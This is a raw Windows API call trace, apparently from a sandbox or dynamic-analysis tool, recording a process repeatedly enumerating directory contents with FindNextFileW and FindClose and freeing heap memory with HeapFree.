[0302.777] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0302.777] FindClose (in: hFindFile=0x7fd288 | out: hFindFile=0x7fd288) returned 1 [0302.777] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.777] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.778] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.778] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.779] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0302.779] FindNextFileW (in: hFindFile=0x7fd108, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0302.779] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0302.779] FindNextFileW (in: hFindFile=0x7fd108, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0302.779] FindClose (in: hFindFile=0x7fd108 | out: hFindFile=0x7fd108) returned 1 [0302.779] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.779] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0302.779] FindClose (in: hFindFile=0x7fcd88 | out: hFindFile=0x7fcd88) returned 1 [0302.779] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.781] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.781] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.781] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.781] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.781] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 0 [0302.781] FindClose (in: hFindFile=0x7fce08 | out: hFindFile=0x7fce08) returned 1 [0302.781] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0302.781] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0303.128] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.128] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.129] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.129] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.129] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.129] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0303.129] FindClose (in: hFindFile=0x7fce08 | out: hFindFile=0x7fce08) returned 1 [0303.129] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.130] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0303.134] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.134] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0303.134] FindClose (in: hFindFile=0x7fcdc8 | out: hFindFile=0x7fcdc8) returned 1 [0303.134] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0303.135] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0303.137] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.137] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0303.137] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0303.137] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0303.149] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.149] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0303.149] FindClose (in: hFindFile=0x7fcf88 | out: hFindFile=0x7fcf88) returned 1 [0303.149] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0303.149] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0303.149] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.149] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0303.150] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.150] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.150] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.150] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.150] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.150] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.152] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.152] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.152] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.152] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.153] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.153] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.155] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.155] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.157] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.157] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.157] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.157] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.159] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.159] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.161] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.161] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.164] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.164] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 1 [0303.165] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44a48d8 | out: hHeap=0x700000) returned 1 [0303.165] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x39fe69c | out: lpFindFileData=0x39fe69c) returned 0 [0303.165] FindClose (in: hFindFile=0x7fce08 | out: hFindFile=0x7fce08) returned 1 [0303.165] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.165] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 1 [0303.165] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.165] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.165] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.165] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.167] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.167] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 0 [0303.167] FindClose (in: hFindFile=0x7fd048 | out: hFindFile=0x7fd048) returned 1 [0303.167] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.167] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.168] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.169] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.170] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.170] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.170] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.170] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.171] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.171] FindNextFileW (in: hFindFile=0x7fce88, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 1 [0303.171] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.171] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.171] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.171] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.171] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.171] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.172] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.172] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.172] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.172] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.172] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.545] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.545] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.545] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.545] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.545] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.546] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.546] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.546] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.546] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.546] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.546] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.547] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.547] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.547] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.547] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.547] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.547] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.547] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.547] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.548] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.548] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.548] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.548] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.548] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.548] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.549] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.549] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.549] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.549] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.549] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.549] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.549] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.550] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.550] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.550] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.550] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.550] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.550] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.550] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.551] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.551] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.551] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.551] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.551] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.551] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.551] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.551] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.552] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.552] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.552] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.552] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.552] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.552] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.553] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.553] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.553] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.553] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.553] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.553] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.553] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.553] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.554] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.554] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.554] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.554] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.554] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.554] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.555] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.555] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.555] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.555] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.555] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.555] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.555] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.555] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.556] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.556] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.556] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.556] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.556] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.556] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.556] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.556] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.557] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.557] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.557] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.557] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0303.557] FindClose (in: hFindFile=0x7fcc48 | out: hFindFile=0x7fcc48) returned 1 [0303.557] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.558] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.558] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.558] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.558] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.558] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.559] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.559] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.559] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.559] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.559] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.559] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.560] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.560] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 1 [0303.560] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.560] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0303.560] FindClose (in: hFindFile=0x7fcc88 | out: hFindFile=0x7fcc88) returned 1 [0303.560] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.561] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.564] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.564] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0303.564] FindClose (in: hFindFile=0x7fd008 | out: hFindFile=0x7fd008) returned 1 [0303.564] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.565] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.565] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.565] FindNextFileW (in: hFindFile=0x7fce88, lpFindFileData=0x39fe69c | out: lpFindFileData=0x39fe69c) returned 1 [0303.565] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.565] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 0 [0303.565] FindClose (in: hFindFile=0x7fce08 | out: hFindFile=0x7fce08) returned 1 [0303.565] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.566] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0303.566] FindClose (in: hFindFile=0x7fcc08 | out: hFindFile=0x7fcc08) returned 1 [0303.566] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.566] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0303.566] FindClose (in: hFindFile=0x7fcdc8 | out: hFindFile=0x7fcdc8) returned 1 [0303.566] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.567] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0303.567] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 